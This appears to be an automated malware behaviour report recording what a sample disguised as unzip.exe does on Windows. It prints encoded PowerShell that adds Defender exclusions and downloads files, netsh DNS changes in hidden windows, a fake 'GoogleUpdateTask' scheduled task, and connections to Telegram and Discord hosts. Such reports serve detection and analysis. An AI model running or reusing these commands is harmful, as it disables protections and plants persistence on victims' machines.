Technical Information
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\google\unzip.exe
Network activity
Connects to
- 'ip##pi.com':80
- 'ap#.##legram.org':443
- 'cd#.##scordapp.com':443
- 'co####signs2.com':443
TCP
HTTP GET requests
- http://ip##pi.com/xml/
Other
- 'ap#.##legram.org':443
- 'cd#.##scordapp.com':443
UDP
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
- DNS ASK co####signs2.com
- DNS ASK cd#.##scordapp.com
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8;cmd.exe /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%ALLUSERSPROFILE%\google\unzip.exe' -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAJwA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABj...
- '%ALLUSERSPROFILE%\google\unzip.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAo...
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8;cmd.exe /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2' (with hidden window)
- '%ALLUSERSPROFILE%\google\unzip.exe' -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAJwA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABj...' (with hidden window)
- '%ALLUSERSPROFILE%\google\unzip.exe' -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAo...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8
- '%WINDIR%\syswow64\netsh.exe' interface ipv4 set dns name=Local Area Connection static 8.8.8.8
- '%WINDIR%\syswow64\cmd.exe' /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%WINDIR%\syswow64\netsh.exe' interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /xml %WINDIR%\Temp\.xml /tn GoogleUpdateTask /f
- '%WINDIR%\syswow64\schtasks.exe' /create /xml %WINDIR%\Temp\.xml /tn GoogleUpdateTask /f
- '%WINDIR%\syswow64\cmd.exe' /c del %WINDIR%\Temp\.xml
